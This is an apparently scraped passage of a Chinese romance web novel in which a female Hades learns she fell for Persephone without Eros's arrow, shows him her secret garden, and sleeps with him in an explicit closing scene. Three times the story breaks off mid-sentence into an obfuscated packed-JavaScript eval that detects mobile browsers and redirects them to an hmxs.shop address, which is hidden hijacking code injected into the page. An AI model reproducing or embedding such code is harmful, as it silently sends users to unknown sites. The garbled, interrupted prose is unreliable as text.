“所以……”珀瑟福的声音把哈蒂丝重新拉回现实,他自然地握住了她的手,“母亲同意了,我可以留下了。” 哈蒂丝看了看自己和珀瑟福交握的手,又看了看赫尔墨斯那莫名其妙带着期待的眼神,以及双子神意味深长的表情。 “不。”哈蒂丝这么说道。 此刻,所有神的目光都集中在了她的身上。 “我还是要去一趟奥林匹斯。”哈蒂丝抽回手,语气坚定,“我要亲自跟德墨忒尔道歉,再找厄洛斯算账。” 她眯起眼睛,气质带着属于冥王的威严。 珀瑟福的眼神黯淡了一瞬,但很快又恢复了光亮:“我可以跟您一起去吗?” 哈蒂丝直接回应道:“你留在这里。” 珀瑟福眉眼弯弯:“好噢。” 这一次她总算毫不犹豫地选择了留下他。 哈蒂丝转身,黑色长袍在空中划出一道干脆利落的弧线。 “我很快就回来。” 她大步走向冥王宫外,那里停着她的黑马战车。 珀瑟福站在原地看着她的背影,翠绿色的眼睛中闪过一丝复杂的光芒。 赫尔墨斯凑过来,小声说:“别担心,我打赌冥王陛下只是不好意思承认自己其实不想让你走。” 哪知珀瑟福轻笑一声,对他说:“我没在担心。” 因为他始终相信她。 “……”赫尔墨斯歪头,更加小声地问:“所以,你小时候真的哭着闹着要找冥王陛下?会说的第一句话就是她的名字?” 是的,德墨忒尔把这些事全部都跟赫尔墨斯说了。 但珀瑟福从未把它们当做黑历史。 所以他大方地承认了:“对。” 与此同时,双子神那边也有了新动静。 修普诺斯打了个哈欠,懒洋洋道:“你赌什么?我赌陛下会带德墨忒尔过来。” 塔纳托斯挑眉:“我赌陛下肯定会追着厄洛斯狠狠教训一顿。” 赫尔墨斯飞过去加入其中:“我赌她会承认自己是真的爱上珀瑟福了!” 珀瑟福:“……” 他突然觉得,这群神是真的挺闲的。 奥林匹斯圣山,农神花园。 哈蒂丝的战车降落在德墨忒尔宫殿外时,农业女神正在给一片新开垦的花田浇水。 “哈蒂丝!”德墨忒尔看到来者,立刻放下水壶迎上来,“噢,我就知道你一定会来找我的。” 哈蒂丝从战车上下来,表情严肃:“德墨忒尔,关于珀瑟福的事我很抱歉,我不该擅自把他带回冥界。” “不必道歉。”德墨忒尔一副早已预料到如此的神情,然后露出了让哈蒂丝有点儿发毛的温柔笑容,“事实上,我很高兴。” 哈蒂丝:“……高兴?” 虽然赫尔墨斯已经讲过了,但当亲耳听到德墨忒尔说自己对此事很高兴时,她还是感觉非常不可思议。 “当然,亲爱的姐姐。”德墨忒尔拉着哈蒂丝在花园长椅上坐下,“那孩子从小就喜欢你,一直念叨着你的名字,为了见你还烦了我很久呢。” 哈蒂丝眨了眨眼,愈发觉得不可思议了:“这又是怎么回事?” 德墨忒尔也眨了眨眼:“嗯?难道你忘记了吗?” 哈蒂丝:“什么?” 德墨忒尔盯着哈蒂丝看了半晌,突然一拍额头,眼神变得无奈起来。 “我就说你该多出来走走,看,你连这些事情都不记得了!”德墨忒尔握住哈蒂丝的双手,表情诚恳,“答应我,以后别再总是窝在冥界了。” 不得不说,德墨忒尔和珀瑟福不愧是母子,他们俩的某些小动作还挺像的。 哈蒂丝叹了口气,回道:“可我喜欢睡觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“差不多。”德墨忒尔拍拍她的肩膀,“别担心,大家都为你感到高兴,你确实该有个神陪着。” 对于那个神是珀瑟福之事,德墨忒尔乐得合不拢嘴,不仅是因为亲上加亲,而且她早就觉得他俩般配了。 哈蒂丝沉默了片刻,然后说:“其实我觉得我一定是被厄洛斯的箭射中了,宴会那晚他也在。” 不然说不通她怎么会莫名其妙地对珀瑟福一见钟情。 德墨忒尔一愣,挑眉道:“是吗?” “是的。”哈蒂丝站起身来,“所以我现在要去找他。” “厄洛斯应该在东边的玫瑰园,阿佛洛狄忒在那里为他建了很多美丽的雕像。”德墨忒尔指了指方向,“不过,你真的确定那是他干的?” “不知道,但我总得去问个清楚。” “确实,或许在这之后你就会意志坚定了,亲爱的姐姐。” 哈蒂丝顿了顿,随即朝玫瑰园的方向走去。 玫瑰园的喷泉边,小爱神正被狩猎女神揪着翅膀严厉地教训着,他怎么挣扎都无法脱离那只制裁之手,绝望地哇哇大哭。 “你这小鬼还有脸哭?”阿尔忒弥斯的声音传来,听起来好像很愤怒,“你以为我不知道那天晚上你准备朝我射箭?你怎么敢的?!” “呜呜呜我错了我错了我真的错了求求您放过我吧阿尔忒弥斯姐姐!!!” “没门儿!走,跟我去父神那里,你必须得为此付出代价!” 阿尔忒弥斯怒气冲冲地揪着还在不停挣扎的厄洛斯,朝玫瑰园外大步走去。 然后就跟哈蒂丝撞上了。 真奇怪,她看上去似乎有些困惑。 “嗯?”阿尔忒弥斯停下脚步,“日安,冥王陛下,您怎么会在这里?” 哈蒂丝的目光停留在狩猎女神手中的小爱神身上。 “日安。”哈蒂丝迟疑道:“冒昧一问,你刚刚说的那晚是指……?” “您都听到了吗?” 阿尔忒弥斯说到这个就来气,还伸手狠狠地戳了一下厄洛斯的额头,成功在上面留下了红印。 “呜哇!好痛呜呜呜呜!” “当然是前天晚上的宴会,这个臭小鬼明知我是处女神,居然还敢意图算计我……” 阿尔忒弥斯后面说的话似乎已经远去了。 哈蒂丝心中有种不详的感觉。 她询问:“厄洛斯,那晚你还朝谁射箭了吗?” 7.第七章 厄洛斯吸了吸鼻子,委屈至极。 “那晚我朝阿尔忒弥斯姐姐射了箭后就连弓带箭全被没收了,母亲教训了我很久呢,我哪敢再朝谁射箭啊!” 阿尔忒弥斯气笑了:“你这天天到处乱射箭的臭小鬼还委屈上了?” 厄洛斯:“呜呜呜我真的错了嘛……” 好吵。 哈蒂丝蹙眉。 “不对。”她还是觉得有哪里不对劲,“当时我明明看见你也在露台上,手里还拿着金箭。” 有没有可能……厄洛斯是在算计阿尔忒弥斯之前算计她的? 厄洛斯显然猜到了哈蒂丝这是在怀疑他,顿时瞪大眼睛,焦急万分地蹬着两条小短腿,翅膀扑腾得更凶了。 当然,他还是没能从阿尔忒弥斯手中成功脱离。 “我确实有想过要朝您射箭来着,但是根本就没机会下手好吧冥王陛下!”厄洛斯看起来更加委屈了,“您那时候明显就不需要我的金箭助力啊!” 一听此话,哈蒂丝心肺骤停。 小爱神就差没有把她是自然爱上珀瑟福的这个真相说出来了。 在阿尔忒弥斯那若有所思的目光中,哈蒂丝愣在原地,整个世界都好似在摇晃不停,太奇怪了。 冷静,哈蒂丝,这没什么大不了的! 她不停地在内心这么劝说自己。 不就是,不就是…… 阿尔忒弥斯忽地噗嗤笑出声来,挑眉道:“冥王陛下,您该不会以为这小子也算计了你吧?恕我直言,他要是真那么做了,现在早就到处吹嘘‘连冥王都逃不过我的箭’这种话了。” 哈蒂丝沉默了。 是啊,以厄洛斯的性格,真要干了这种大事怎么可能还憋得住? 她揉了揉太阳穴:“所以,我真的是自发性地对珀瑟福……” “一见钟情。”阿尔忒弥斯难得地露出了八卦的笑容,连手里的厄洛斯都不香了,“说真的,珀瑟福那孩子确实长得过分好看了,您动心也不奇怪。” 虽然她速度是快了点儿,还直接把春神给带回了家。 没想到一向禁欲的冥王陛下也有今天。 厄洛斯边抹眼泪边插嘴说:“就是!而且我的金箭都还在箭囊里呢,您看!”他努力扭过身子展示背后的箭袋,“一支都没少!” 哈蒂丝看着那满满当当的箭袋,最后一点‘我是被算计了’的幻想也破灭了。 “原来真是……”她喃喃道,“我自己见色起意?” 阿尔忒弥斯又笑了:“您别说得这么直白嘛,虽然我是处女神,但我也知道爱分很多种形式。” 而且德墨忒尔对此也没意见,毕竟一向爱宅在家里的冥王陛下可比某些花心神强多了。狩猎女神在内心默默这么想着。 哈蒂丝揉了揉太阳穴,神情恢复了往日的冷淡,转身就走。 “您这就走了?”阿尔忒弥斯在后面说。 她还准备拉她去找父神一起治厄洛斯罪呢! “我得回冥界处理家务事。” 冥王连头也没回,动作快得像是一阵风,留下阿尔忒弥斯和厄洛斯面面相觑。 家务事? “还真是有意思。”阿尔忒弥斯回想起父神和波塞冬叔叔的那个赌局,更乐了。 厄洛斯还在哇哇大哭:“完全就没意思!快放开我呜呜呜!!!” 虽然刚从冥王陛下那里逃过一劫,但这里可是还有报复心极强的狩猎女神! 话说回来这位到底是怎么发现那件事的啊?! “啧,差点忘了你这家伙……走,你的好日子今天就要到头了!” “不要哇呜呜呜呜呜……” 与此同时,冥王宫内庭同样正在上演着一场混乱大戏。 赫尔墨斯被修普诺斯和塔纳托斯一左一右地按在石桌上,双脚在空中乱蹬,凉鞋上的小羽翼都甩出残影了。 “可恶快放开我!我又不是故意要那么做的!” “你说的对,但你本世纪已经擅闯陛下的宫殿整整七十五次了。”修普诺斯懒洋洋地报数,手上力道却丝毫未松。 “并且你该长点记性。”塔纳托斯接过话茬评价道,“别挣扎了,没用。” 赫尔墨斯不满:“我可是你们俩的同事啊!” 双子神异口同声:“哦。” 绝了,到底为什么他们两个会如此轻易地被珀瑟福给收买了啊? 珀瑟福站在一旁,手里把玩着从赫尔墨斯那儿夺来的双蛇杖,冷笑道:“赫尔墨斯,原来你干过这么多困扰哈蒂丝姐姐的事情啊。” 要不是姐姐脾气好,否则怎么会让这家伙如此放肆? 珀瑟福内心不爽极了。 “那是工作!是父神让我——” “工作也不行。” 珀瑟福用双蛇杖敲了一下赫尔墨斯的脑袋,发出咚的一声脆响。 “那、那冥王陛下也说过了她要加强冥王宫的防御屏障啊!”赫尔墨斯欲哭无泪,深深地觉得自己今天是入了魔窟,绝对是要留下永远的心理阴影了,“我以后根本就没机会了好吧?” 珀瑟福眯了眯眼:“你还想有以后?” 赫尔墨斯:“……” 真是的,别太离谱了啊珀瑟福! 对此,双子神则是兴致盎然地看戏,愈发觉得自从这个拥有两副面孔的春神来了之后,原本普通无聊的冥界日常逐渐变得有趣起来了。 突然之间,冥王战车的轰鸣声响由远及近,带着磷火的幽光。 在场诸神皆是眼见那位黑发黑眼的高挑女神举止优雅地从车上走下,她回来的时间比他们预料的要早上许多。 即使哈蒂丝面无表情的模样很可怕,可赫尔墨斯还是觉得自己的救星终于到场了。 “冥王陛下!您总算回来了!请快救救弱小可怜又无助的我吧呜呜呜……” 这家伙居然在装哭。 珀瑟福立马把双蛇杖塞回赫尔墨斯手中,不想因此败坏自己在哈蒂丝心中的形象。 “你们几个这是在干什么?” 哈蒂丝没搞清楚状况,她记得自己离开前他们几个相处得还挺好的,怎么转眼间就闹成这样了? 珀瑟福重新换回她熟悉的完美微笑,走近过去:“姐姐,是这样的,鉴于赫尔墨斯之前屡次擅闯您的宫殿,我们想好好教育他一顿。” 教育…… 不知为何,哈蒂丝想起了刚被珀瑟福收拾过没多久的刻耳柏洛斯。 她看着他的眼神瞬间变得复杂至极。 他歪了歪头,继续装无辜。 赫尔墨斯还在被双子神死死按着,挣扎道:“陛下!我是无辜的!真的——” “闭嘴。”哈蒂丝和珀瑟福异口同声道。 赫尔墨斯:“???” 你俩这是不仅要穿情侣装,还打算夫唱妇随吗?! 双子神对视一眼,默契地松了手。 赫尔墨斯立马蹬脚飞上半空,火速远离了这两个被珀瑟福带坏的家伙,满脸闷闷不乐。 可恶,再这样下去他都不想支持他追求冥王陛下了…… 而哈蒂丝则是看着珀瑟福那双亮晶晶的绿眼睛,忽然心生一计。 “珀瑟福。”她故作严肃地开口,“我去问过厄洛斯了。” 珀瑟福眨了眨眼:“嗯?” “他说那天晚上确实朝我射了金箭。”哈蒂丝面不改色地撒谎,“所以之前发生的一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903687|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是爱神之箭的效果。” 此言一出,空气安静了五秒。 在不远处静观其变的赫尔墨斯挠了挠后脑勺,感觉有些奇怪。 就算是那样也不可能啊,他记得自己确实帮助珀瑟福调换过厄洛斯的金箭诶,所以无论那些箭朝谁射都是毫无作用的! 珀瑟福脸上的无辜表情慢慢褪去,取而代之的是似笑非笑。 “是吗?”他轻声询问。 “对。”哈蒂丝坚持这么回答。 哇哦,那可真是太令他感到愉悦了。 因为这或许代表她是在试探他,她心里有他。 “哈蒂丝姐姐,”珀瑟福双手环胸,翠绿色的眼眸弯成月牙状,在阴暗的环境里熠熠生辉,“请恕我冒昧,您并不擅长说谎。” 现在哈蒂丝也在内心说哇哦了。 她情不自禁地轻勾嘴角:“你怎么知道我在说谎?” 双子神眼见这一幕,忽然发现他们家冥王陛下好像已经为了春神笑过许多次。 这可与以前的她不同啊。 “因为那晚厄洛斯的箭根本没用。”珀瑟福脸上带着点狡黠。 这时赫尔墨斯也飞了过来,帮腔道:“对啊,厄洛斯倒是想射来着,但我提前把他的箭筒调包了,里面装的全是阿波罗练习用的钝头箭!” 难怪阿尔忒弥斯会不受爱神之箭的影响,还发现了厄洛斯的恶作剧。 不过…… 哈蒂丝转过身来,盯着珀瑟福看了半晌:“这该不会是你出的主意吧?” “是的。”珀瑟福理直气壮,“因为我不想让厄洛斯捣乱,无论是您喜欢我还是我喜欢您,通通都不需要所谓的爱神之箭来促成。” 好家伙,原来如此! 哈蒂丝望着珀瑟福那眼神坚定的模样,一时之间竟不知道是该气还是该笑。 所以不仅从头到尾都没有什么厄洛斯的恶作剧,而且还有春神蓄谋已久,他可真是做了万无一失的准备——最愚蠢的是,她之前居然还在傻乎乎地为此纠结! “好吧,我确实没中箭。”哈蒂丝终于承认了,同时伸手捏住珀瑟福的脸颊往两边扯,“但是你这个撒谎精也没好到哪里去,珀瑟福。” 嗯,手感挺软的。 以后一定要多这么做。 “疼疼疼——”珀瑟福嘴上喊疼,脸上却挂着熟悉的笑容,“那姐姐,既然真相大白了,我们俩多久结婚?” 这小子还真是狮子大开口,就惦记着她之前随便用来哄他的婚约是吧? 于是哈蒂丝也笑了:“就明天。” “真、真的?!” 刹那间,珀瑟福兴奋得抱住了哈蒂丝,手臂紧紧地揽住她的肩膀和腰肢,绿眸中溢满了惊喜之情。 他长相精致,明明本应是刻板印象中的柔弱类型,却拥有优美流畅的肌肉线条,蕴含其中的力量如此强大。 “姐姐,这应该不是我在做梦吧?” 他的声音就这样响彻在属于她的世界。 见状,就连赫尔墨斯和双子神也感到相当不可思议,三神皆是震惊至极。 不是吧,冥王陛下就这么草率地决定了? 然后下一秒,新的言语再度传入在场诸位耳中。 “我又改主意了。”哈蒂丝笑意并未散去,还伸手回拥住了珀瑟福,在他耳边轻声说道:“距离结婚还早得很,你这狡猾的小鬼。” 珀瑟福:“……” 没想到哈蒂丝姐姐还有这么腹黑的一面啊。 但是她这一点他也超喜欢! “哈。”珀瑟福低笑,感觉内心痒痒的,“明明姐姐才最狡猾呢。” 他又想起昨夜她夸赞他的那些藤蔓很可爱了。 8.第八章 这小鬼真是胆子越来越大了,还敢反过来说她狡猾。 哈蒂丝挑眉:“哦?那你说说我哪里狡猾了?” 闻言,珀瑟福眉眼弯弯,压低声音道:“比如昨夜您说我的藤蔓很可爱,您想试一试,然后转头就拿来绑我手腕……” 他没有说完,却显得更加暧昧。 “我试过了。”哈蒂丝已经对春神的招式产生抗性了,直接一本正经地这么回复,“确实很可爱,你也是。” 珀瑟福眼中好似有光,嘴角弯弧就差没有咧到耳朵上去:“姐姐是在夸我吗?好开心,爱您!” 他甚至得意地加大了音量,明显就是故意要让在场诸位都听见。 哈蒂丝忍不住又扯了扯珀瑟福的脸颊,在上面留下点点红印的同时,也成功让他蹙着眉头喊疼。 紧接着,他就顺理成章地向她卖乖装可怜了。 “姐姐您看我这么听话,不如……” “后面再说。” “好嘞!” 不得不说珀瑟福被调得确实挺好。 无论怎么看,冥王和春神的相处都太肉麻了,而且两神还在大庭广众之下搂搂抱抱这么久。 “咳咳!”赫尔墨斯猛咳两声,捂住耳朵,“少儿不宜!你们冥界谈恋爱都这么奔放吗?!” 修普诺斯耸肩:“少见多怪,我们陛下千万年来第一次谈恋爱,奔放点怎么了?” 塔纳托斯赞同:“总比某些神四处留情强。而且论奔放谁比得上你们那里啊?” “那咋啦那咋啦?”赫尔墨斯冲冥王的左膀右臂做了个鬼脸,“这可是我们奥林匹斯神的优良传统!大家都这样,谁也别嫌弃谁嗷~” “谁跟你们一样了?哥哥,这几晚记得让他们做噩梦。” “收到。” 赫尔墨斯瞪大眼睛:“太阴了吧你们!” …… ……怎么又变吵了? 哈蒂丝松开了珀瑟福,转身面对三神,眯眼冷脸:“你们三个很闲?” 属于冥王的威压感就这么来了,三神瞬间立正。 赫尔墨斯干笑:“那什么……我突然想起父神还给我布置了任务!回见!” 修普诺斯:“啊,我还要去爱丽舍访问英灵们。” 塔纳托斯:“我去帮卡戎数钱。” 伴随着他们的言语,一阵风狂乱地吹过。 三秒后,此地只剩下冥王和春神。 哈蒂丝满意地点头,然后看向珀瑟福:“所以,你还有什么想说的?” 珀瑟福笑道:“有,我能搬进您的寝殿吗?” 啧,他以为她不知道他想干什么? 哈蒂丝果断拒绝:“不能,我会给你安排别的居所。” 珀瑟福不死心地继续询问:“那我能每天跟您一起吃饭吗?” 其实永生的神祇不用吃饭也没事,平时宴会上的那些美味佳肴只是充当氛围感而已。 也真是难得他能想出这个借口来。 “看心情。”哈蒂丝抽了抽嘴角。 “那我——” “珀瑟福。”哈蒂丝打断了他,“你问题太多了。” 春神立刻闭嘴,可眼睛仍然亮晶晶地看着她,像只等待投喂的小动物。 还、还是好闪耀。 他怎么能那么可爱呢? 哈蒂丝叹了一口气,伸手拍了拍珀瑟福的肩膀:“走吧,我带你去个地方。” 唉,她算是彻底清楚了,自己就是吃他这套,完全拿他没辙了。 “去哪儿?”珀瑟福期待地询问。 “我的私属花园。” “您的私属花园?”珀瑟福睁大眼睛,连诧异的模样都漂亮得不可思议,他眼尾微微上挑,那两抹翠绿色中带着点点惊喜,“哇,听起来好棒,珀瑟福好高兴姐姐能信任我!” 瞧,这么可爱的孩子谁会不喜欢呢? 哈蒂丝轻勾嘴角,转身邀请珀瑟福跟自己一起前往那个花园。 这回她主动地牵住了他的手。 很好,珀瑟福看起来快乐飞了,白皙的脸颊浮上红晕,修长的五指把她的手掌扣得更紧。 两神十指相扣、掌心相依,共享着温热的体温。 “姐姐。”珀瑟福轻言细语,“您可以再捏一下我的脸吗?” 哈蒂丝好笑道:“你没在做梦。” 听到这话,珀瑟福连耳根子都红了:“不,那是奖励。” 哈蒂丝:“……油嘴滑舌。” 她看他就是笃定她自己吃这套了。 花园位于冥王宫地下深处,入口隐藏在回廊角落的一面魔镜背后。 这里像冥王宫外的景象那样没有阳光,无数的幽蓝磷火悬浮于空中,照亮了整片空间。 黑中夹杂血红色的土地上生长着各式各样的冥界特产植物,例如散发微光的幽灵兰和花瓣如水晶般透明的星夜玫瑰,以及枝干上结着会呼吸的棕色果实的魔鬼树。 最吸睛的是穿过魔鬼树后便能抵达的那片花海,一望无际的彼岸花盛开着,有红有蓝,像是凝固的血液倾洒在清澈的海洋中,诡异感十足,却又美得惊心动魄。 “哇哦……”珀瑟福惊叹道,“在姐姐您带我来之前,我从未想过冥界还会有这样的地方。” 他是春神,与植物和生命息息相关。 因此他天然地热爱这个花园。 “您心灵手巧,把这里打理得很好。”珀瑟福发自心底地夸赞了这么一句,看着哈蒂丝的眼神中爱意渗透。 赞美会使被赞美者心情愉悦。 “过奖。”哈蒂丝放开了珀瑟福的手,笑着回应,“我心情不好时会来这里待一会儿。” 这里是冥王用神力打造并维持的小世界,现在除了她自己、明塔、赫卡忒和双子神外,只有珀瑟福知晓这个秘密花园。 见到春神为此处感到意外和雀跃时,她竟有一丝骄傲。 真是越活越回去了。 这时,珀瑟福询问道:“您为何会心情不好?是谁胆敢招惹您?” 嗯?他该不会想着要去帮她报复吧? “只是偶尔会有些情绪而已。”哈蒂丝瞥了一眼看起来满脸认真的珀瑟福,“比如被某个家伙缠得没办法睡觉的时候。” 哇哦。 珀瑟福依然眼含笑意:“那现在呢?” 他还真是问题多。 哈蒂丝没有直接回答,而是慢步走向花海。 她弯下腰来,伸手轻轻抚过一朵彼岸花,血红色的花瓣在温柔的触碰下微微颤动,发出清脆如风铃般的细微声响。 纵使冥王的色调是死气沉沉的阴暗,可在春神眼里,那副画面还是美丽至极。 “德墨忒尔送的花蜜和种子呢?”哈蒂丝问道,轻松地转移了话题。 于是珀瑟福立刻回神,从袖中取出母亲赠予的礼物。 小巧的琉璃瓶里面装着不同颜色的花蜜和种子,瓶罐身上还绑着精致柔软的丝绸,看起来像是被春神精心装饰过。 “这里,姐姐。”珀瑟福把东西递过去,语气很温和。 “好。” 哈蒂丝接过一瓶金色的花蜜,打开瓶塞。 瞬间,清新的甜香在空气里弥漫开来,与冥界原本的冷冽气息形成奇妙的混合感。 “它们有什么作用?” “嗯……”珀瑟福一副冥思苦想的模样,然后手拍额头,眼神狡黠地回答道:“姐姐您试试用手指沾一沾花蜜?” 哈蒂丝愣了一下,没明白这样做的意义在哪里。 难道这花蜜蕴含神力?毕竟德墨忒尔是农神,她送的东西肯定不普通。 “试试看吧,姐姐。”珀瑟福看出了哈蒂丝的疑惑,笑得更加狡黠了。 哈蒂丝总觉得不对劲,但在好奇心的促使下,她还是将花蜜滴在了右手食指尖。 “然后?” “然后……” 珀瑟福逐渐靠近俯身,在嘴唇快要触碰到哈蒂丝的手指时顿住,接着抬眸望向她。 她挑眉,苍白的面容还带着没有散去的困惑之情,眼神似乎有些惊讶。 那真的相当可爱。 珀瑟福笑意盈盈:“您允许我这么做吗?姐姐。” 这暗示的意味相当明显,甚至明显过头了,暧昧的氛围如此顺利地铺展开来,让这片花园看起来更加旖旎。 现在哈蒂丝的脸变红了,气色十足。 但她还是故作镇定道:“可以。” 得到允许后,珀瑟福眸光流转,低头含住哈蒂丝的手指。 舌尖舔过花蜜时,他的眼睛亮了起来。 “好甜。”珀瑟福真心实意道,“因为有姐姐在。” 还真是一如既往的油嘴滑舌啊,小破孩。 哈蒂丝感觉到指尖传来温热柔软的触感,带着点点湿意,这使她耳尖微微泛红,感觉大脑有些晕晕乎乎。 想要收回手,却被珀瑟福眼疾手快地握住了手腕。 “你还想干什么?” 哈蒂丝觉得这家伙真是被自己纵容坏了,却挺好奇他还会再整出什么活儿来。 下一刻,珀瑟福使用神力清理干净了哈蒂丝的手指,然后动作温柔地把她的手重新放了回去。 ……等等,只是这样而已吗? “好了。”他惯用那副温文尔雅的微笑,“谢谢姐姐愿意信任我。” 春神就这样切换成了单纯的模样,真是越来越狡猾了。 哈蒂丝心跳加速,决定继续换个话题: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921247|192031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “种子呢?” 见状,珀瑟福也很懂事,打开了别的瓶罐。 里面是几十颗泛着微光的种子,每一颗颜色都不同。 “我以前在母亲那里见过,这些应该是改良品种,能在冥界生长。”珀瑟福捻起一颗浅黄色的种子,“这个能长出会唱歌的花。” “会唱歌?”哈蒂丝被勾起了兴趣。 德墨忒尔不愧是她的好姐妹,出手就是阔绰,能在冥界生长的植物十分稀有,她已经在想要把这些小东西种在自己的花园里,亦或者冥界别的地方了。 就是不知道其他冥神们对此作何感想…… 冥王在内心暗暗打算着。 而珀瑟福继续说道:“对,它能根据心情唱不同的歌。” 这花还有心情? 像宁芙那样拥有独特生命吗? 珀瑟福看出来了哈蒂丝的好奇,便将种子埋进旁边的土地中,伸手覆在黑中带红的土壤上,绿色神力瞬间从掌心溢出,带着股股属于春神的温暖气息。 几秒后,一株嫩芽破土而出,以肉眼可见的极快速度生长和开花。 浅黄色花朵绽放的刹那间,轻柔的旋律响起,如同从遥远地方而来的古老歌谣,又像是山谷里的回声。 芳香扑鼻而来,哈蒂丝愣住了。 这花的歌声与阿波罗的里拉琴乐和缪斯们的合唱不同,甚至不似塞壬之歌那般诱惑,但她能听出它的纯净,仿佛再多的愁苦也会由此抚平。 它明明本该与冥界格格不入,却又奇迹般地融合于此。 “这唱的是什么?”哈蒂丝倾听着美妙的花之歌,情不自禁地轻声询问。 珀瑟福笑着说:“它在唱‘我喜欢新家,欢迎回家’。” 如果歌唱的内容是这些的话,那不就代表它现在心情很好吗? 真是神奇的小东西。 哈蒂丝目不转睛地盯着这朵如同春神般可爱的花,忍不住道:“再种一颗。” 珀瑟福看起来很高兴:“您喜欢?” “……嗯,还行。”哈蒂丝眼神游移。 “好噢。” 珀瑟福立马又种下一颗蓝色种子,这次长出的花朵像星星,花瓣上有点点微弱的荧光。 “这个呢?”哈蒂丝迫不及待地询问。 珀瑟福心领神,即答:“它在唱……嗯,有点复杂,大概是‘祝贺重逢’之类的。” 看来这朵花的心情也很好,它们应该都挺适应冥界的。 “您要自己来播种吗?”珀瑟福适时地说道,“我会用神力辅助您,让种子开花。” 哈蒂丝点头,从珀瑟福手中接过琉璃瓶,自己选了一颗紫色的种子埋下。 “姐姐真是妙手,您选的这个会开出真心话之花。”珀瑟福一眼就看出来了这朵花的特殊能力,笑吟吟地解释道。 “真心话……”哈蒂丝拍手的动作顿了顿,“该不会是能唱出播种者的真心话吧?” 闻言,珀瑟福的神情带上了些许意味深长:“您猜。” 恶趣味吗? 哈蒂丝有点儿无语。 对上冥王那带着谴责的目光后,珀瑟福边说着抱歉边耸了耸肩,然后使用神力促进这颗新埋下的种子生长。 当那紫色花朵盛开时,新的歌声听起来悠远神秘,竟带着几丝阴森。 珀瑟福倾听着,表情变得古怪起来。 他歪头,再度看向冥王,眼神里的意味深长越来越重了。 哈蒂丝莫名感到心虚:“怎么了?这花唱了什么内容?” “它说您想我再变出藤蔓。”珀瑟福说道,“所以您想用我的藤蔓做什么?” 不愧是‘真心话之花’,还真被它唱对了。 德墨忒尔究竟是怎么培育出的这改良品种? “……” 眼见珀瑟福正似笑非笑,哈蒂丝稳定心神,想要掰回一局。 “难道你听不出更多吗?” “或许吧。” 珀瑟福接招也很快,他本就距离她很近,此刻垂眸看来时带着阴影,那双眼睛的翠绿色变得暗沉下来。 “但我想要听您亲口说出来。”春神的表情并不懵懂,正如他的言语这般心知肚明,“可以吗?姐姐。” 嘶…… 哈蒂丝呼吸一窒,感觉自己又被蛊惑了。 “我想要更多。”她坦诚而又隐晦地把真心话如实说出,“还有,不用再对我使用敬称了,珀瑟福。” 所以,究竟是谁赢了呢? 其实应该算作平局。 在这旖旎的氛围之中,珀瑟福眉眼弯弯,伸手抚上哈蒂丝的脸庞。 “如你所愿,亲爱的哈蒂丝。” 他温柔地回应了令自己如此心动的她。 9.第九章 这次主动的一方换回了珀瑟福。 当哈蒂丝被他压在床上后,柔软的丝绸将她轻轻包裹,青绿的藤蔓自她双足攀爬而上,给她苍白的身躯增添了异样的色彩。 很奇妙的是,原本体温冰凉的冥王感觉到了灼热的温度,体验到了何为热血沸腾。 被他那样对待时,她脚趾蜷缩,宛若枯木逢春。 而这藤蔓还在继续蔓延。 无论是在下还是在上都表现优秀的春神吻过她的脸颊、嘴唇、脖颈和clavicle,然后lick着更多,温柔地满足了她想要更多的愿望。 ……末复挑,难以想象他竟然会这么多花样。 哈蒂丝努力地抬头,看着正专心致志的珀瑟福,即使只能见到他半张脸,也能辨认出此刻的他非常认真。 那头浅金色的卷发散乱在她身上,带起越来越多的痒意,他垂着眉眼,爱慕与渴望引发的lust将白皙的他染红。 令人遐想连篇的声音连绵不断,犹如泉水流淌般叮铃作响,使他品尝到了梦寐以求的甘甜。 藤蔓缠绕的力度好像变紧了一些。 与其一同而来的,是它那坏心眼主人的进攻。 原本哈蒂丝咬紧下唇,不想发出过多声响,可珀瑟福却耍起了新的花招,促使她难以压手印地边沈因着,边唤出了他的名字。 这个由她纵容的、胆大妄为的家伙,正令她连灵魂都在颤栗。 Not stopping for a moment,Fierce and obsessed. “珀……啊……瑟福唔……” “我在,亲爱的。” 珀瑟福单手撑在哈蒂丝身边,笑意盈盈地俯视着她隐隐显露餍..组之情的面容,还不忘继续讨好她。 “还想要尝试一下别的吗?”他染甘泉之右、抚她微险月复,将属于春神的神力凝聚于五指和掌心,“如果你接受的话,那我就继续了噢。” 恋合起伏不定,意识混乱沉陷。 她在白芒中见到生生不息的野草与花,眺望远方却未觉尽头,迷茫感将身融化,与他共赴至夜。 鲜花随风摇曳,承接甘泉。 到那时,他覆在她唇,再一次地取心兑了她。 “所以,你现在同意我以后都住在你的寝殿了吗?”珀瑟福理所当然地讨要了更多奖励,“亲爱的,答应我吧,好不好?” 不叫姐姐之后,他反倒爱上了称呼她为亲爱的。 真是油嘴滑舌的小鬼。 